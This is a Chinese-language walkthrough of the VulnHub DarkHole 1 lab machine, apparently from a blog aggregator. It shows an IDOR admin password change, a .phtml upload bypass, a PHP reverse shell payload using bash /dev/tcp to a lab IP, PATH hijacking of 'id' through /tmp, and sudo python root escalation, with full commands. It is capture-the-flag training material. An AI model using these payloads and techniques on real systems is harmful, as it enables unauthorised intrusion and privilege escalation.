当前位置: 首页 > news >正文

Vulhub-DarkHole靶机通关攻略

下载链接:https://www.vulnhub.com/entry/darkhole-1,724/

扫描ip

arp-scan -l

扫描端口

nmap 192.168.112.144 -p-

扫描目录

dirsearch -u http://192.168.112.144/

有一个登录页面,还有一个upload目录,但是还没有找到上传点

先注册一个用户登陆看看

可以更改信息,而在URL上还有id=2,那么就可能有id=1

尝试抓包将id为1 的密码进行更改,发现更改成功

而用户名还不知道,但是常规的admin还是要试一下,而结果就是admin

如果不是的话,那么我们还可以使用抓包尝试进行爆破

登陆admin后发现多了一个上传文件的接口,那么我们上传一句话木马获得webshell

但是有上传限制

尝试绕过

抓包后再文件的后缀的后面加上一个空格,成功绕过

利用burp suite抓包修改后缀 修改为phtml 上传成功

能够正常访问

使用蚁剑成功连接

反弹shell

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.112.132/6666 0>&1'"); ?>

上传成功,访问

成功反弹shell

获得交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在/var/www/html/config/database.php中找到了数据库的用户名和密码,都是john

查找能够提权的文件

find / -perm -u=s 2>>/dev/null

查看文件,发现有可执行权限

ls -l /home/john/toto

执行文件, 发现执行了id命令

/home/john/toto

接下来尝试对id命令进行环境变量劫持,提权到john用户

在tmp目录创建id文件,赋予执行权限,给tmp文件夹环境变量

Tmp文件夹是临时文件存放的目录,而且所有用户有很大的权限

export PATH=“/tmp:$PATH” 作用是将tmp目录放在环境变量最前面

这样的话运行toto文件执行id命令,就会首先执行/tmp/id文件,获取john的shell

echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH="/tmp:$PATH"

成功获取john用户的shell

来到家目录,有四个文件

password存放john用户的密码

user.txt是第一个flag:DarkHole{You_Can_DO_It}

File.py是个空文件

toto是用来提权的文件

寻找提权点,发现file.py文件可以sudo执行

sudo /usr/bin/python3 /home/john/file.py

给file.py文件写入获取shell的命令

echo "import pty;pty.spawn('/bin/bash');" > file.py

执行提权命令

sudo /usr/bin/python3 /home/john/file.py

成功提权

在root目录可以找到第二个flag:DarkHole{You_Are_Legend}

相关文章:

  • 代码随想录算法训练营第十八天
  • redisson分布式锁--实际应用!!!
  • 决策树简介
  • redis -- redis介绍,性能(与mysql性能对比),使用场景,CAP介绍
  • gravity`(控制 View 内部内容的对齐方式)
  • Hikyuu C++与Python层交互机制
  • Vue 3中的setup【与Vue 2的区别】
  • 深度学习--深度学习概念、框架以及构造
  • GIT工具学习【1】:新安装git预操作
  • candence17.4原理图编号
  • 你了解哪些Java限流算法?
  • 深入解析操作系统的文件系统:从存储介质到数据管理的核心引擎
  • 猿辅导集团推首个教育AI范式小猿AI 聚焦家校应用场景发布3款新品
  • VGA显示
  • 【euclid】10.2 2D变换模块(transform2d.rs)Arbitrary trait
  • 蓝桥杯嵌入式十六届赛前复习总结与准备
  • linux运维篇-Ubuntu(debian)系操作系统创建源仓库
  • 基本元器件—电阻器(2025.4.14)
  • 实现表单验证
  • YOLOv2 快速入门与核心概念:更快、更准的目标检测利器
  • 产假工资是谁出?女职工生育能领多少生育津贴?解答来了
  • 今年4月上海一二手房成交面积同比增21%,二手房成交2.07万套
  • 视频丨英伟达总裁黄仁勋:美勿幻想AI领域速胜中国
  • 遍体鳞伤就是击不倒,这是国米老男孩最后的倔强
  • 扬州市中医院“药膳面包”走红,内含党参、黄芪等中药材
  • 济南高新区一季度GDP增长8.5%,第二产业增加值同比增长14.4%